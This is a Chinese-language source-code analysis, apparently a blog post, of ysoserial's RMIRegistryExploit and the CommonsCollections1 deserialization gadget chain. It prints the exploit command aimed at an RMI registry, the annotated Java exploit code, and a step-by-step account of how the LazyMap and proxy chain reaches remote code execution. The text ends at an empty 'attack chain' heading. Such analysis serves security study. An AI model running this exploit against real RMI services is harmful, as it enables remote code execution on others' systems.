YsoserialCC1链源码分析

启动RMI服务

使用ysoserial工具来给本地的RMI服务器发送payload:

java -cp ysoserial-master-d367e379d9-1.jar ysoserial.exploit.RMIRegistryExploit 192.168.1.5 777 CommonsCollections1 "calc.exe"


可以看到,使用的是ysoserial.exploit.RMIRegistryExploit类,跟进该类。

public class RMIRegistryExploit {
   ..............
   public static void main(final String[] args) throws Exception {
      //获取到命令的第一个参数 即RMI服务端IP 192.168.1.5 
      final String host = args[0];
​
      //获取到命令的第二个参数 即RMI服务端端口 777 
      final int port = Integer.parseInt(args[1]);
​
      //获取的要执行的命令 "calc.exe"
      final String command = args[3];
​
      //获取192.168.1.5:777 上存在的RMI服务
      Registry registry = LocateRegistry.getRegistry(host, port);
​
      //获取paylaod类名即:ysoserial.payloads.CommonsCollections1
      final String className = CommonsCollections1.class.getPackage().getName() +  "." + args[2];
​
      //获取ysoserial.payloads.CommonsCollections1类的对象
      final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
​
      // test RMI registry connection and upgrade to SSL connection on fail
      try {
         registry.list();
      } catch(ConnectIOException ex) {
         registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
      }
​
      //将获取到的RMI服务对象,payloads所在的类CommonsCollections1类的对象,要执行的命令作为参数传入,调用exploit方法   
      // ensure payload doesn't detonate during construction or deserialization
      exploit(registry, payloadClass, command);
   }
​
   public static void exploit(final Registry registry,
         final Class<? extends ObjectPayload> payloadClass,
         final String command) throws Exception {
      new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
         //获取CommonsCollections1类无参构造器运行时类的对象
         ObjectPayload payloadObj = payloadClass.newInstance();
​
         //调用CommonsCollections1类运行时类的对象的getObject方法,并将要执行的命令作为参数传入 
         //getObject方法 即前文Client利用代码
         Object payload = payloadObj.getObject(command);
         String name = "pwned" + System.nanoTime();
​
         //使用基于AnnotationInvocationHandler的动态代理,从而加载rmi协议指定的类
         Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
         try {
            //将远程引用绑定到RMI注册服务器中的指定name 
            registry.bind(name, remote);
         } catch (Throwable e) {
            e.printStackTrace();
         }
         Utils.releasePayload(payloadObj, payload);
         return null;
      }});
   }
}

重点关注的代码部分如下:

ysoserial.payloads.CommonsCollections1类

//payloadClass为获取的ysoserial.payloads.CommonsCollections1类的对象
//payloadObj即获取的CommonsCollections1类无参构造器运行时类的对象
ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command);

调用CommonsCollections1类运行时类的对象的getObject方法,并将要执行的命令作为参数传入 ,跟进getObject方法。

前半部分代码不再详细解释,上篇文章有分析,主要是生成ChainedTransformer实例,把一些transformer链接到一起,构成一组链条,对一个对象依次通过链条内的每一个transformer进行转换。
蓝框的代码先是生成一个Map实例,并调用LayMapdecorate()方法,将Map实例和ChainedTransformer实例作为参数传入,创建一个LazyMap对象,之后利用了两层的动态代理来封装lazyMap对象。

第一次调用createMemoitizedProxy生成mapProxy代理对象,层层跟进:

此时就用到了在前文提到的动态代理的两个核心机制,proxy类和InvocationHandler接口。和该类最常用的是newProxyInstance方法。
此处使用proxy.newProxyInstance()方法生成代理对象,该方法有三个参数。

参数一loader:生成代理对象使用哪个类装载器【一般使用的是被代理类的装载器】
参数二interfaces:生成哪个对象的代理对象,通过接口指定【指定要被代理类的接口】
参数三h:生成的代理对象的方法里干什么事,动态代理方法在执行时,会调用h里面的invoke方法去执行【即InvocationHandler接口的实现】

其中参数三就是前文提到的InvocationHandler接口的实现,动态代理方法在执行时,会调用里面的invoke方法去执行,此处参数三ih即AnnotationInvocationHandler的实例对象。

//ANN_INV_HANDLER_CLASS="sun.reflect.annotation.AnnotationInvocationHandler"
(InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);

而其中lazyMap赋给了AnnotationInvocationHandler实例对象的memberValues属性。

因此当动态代理在调用方法时,会调用AnnotationInvocationHandlerinvoke方法,从而调用this.memberValues.get()

同样第二次调用createMemoizedInvocationHandler生成handler代理对象,将mapProxy对象赋给AnnotationInvocationHandlermemberValues属性。之后将生成的handler代理对象返回。

二次调用后的memberValues关系大致如下:

handler.memberValues == mapProxy
mapProxy.handler.memberValues == lazyMap

反序列化
返回到ysoserial.exploit.RMIRegistryExploit类,继续往下看,调用createMemoitizedProxy生成remote代理对象,CommonsCollections1类返回的handler对象会作为createMap的参数传入。

跟进createMap,此处生成了一个map对象,并更新了一组数据{key为"pwned”加随机时间,val为handler代理对象}。

调用createMemoitizedProxy生成remote代理对象,将map赋给它的AnnotationInvocationHandlermemberValues属性,而Map的value为handler对象。

生成的remote代理对象会作为registry.bind()的参数传入,向RMI注册中心序列化传输远程对象。
当RMI注册中心反序列远程对象时,会调用AnnotationInvocationHandler类重写的readObject方法。

readObject方法执行entrySet()时,动态代理会调用AnnotationInvocationHandlerinvoke方法,而this.memberValueslazyMap实例。
invoke方法里的this.memberValues.get(),即调用lazyMapget()方法。

调用lazyMapget()方法,从而触发transform利用链,造成远程代码执行,而这跟我们之前构造的利用链是相吻合的。

​攻击链条: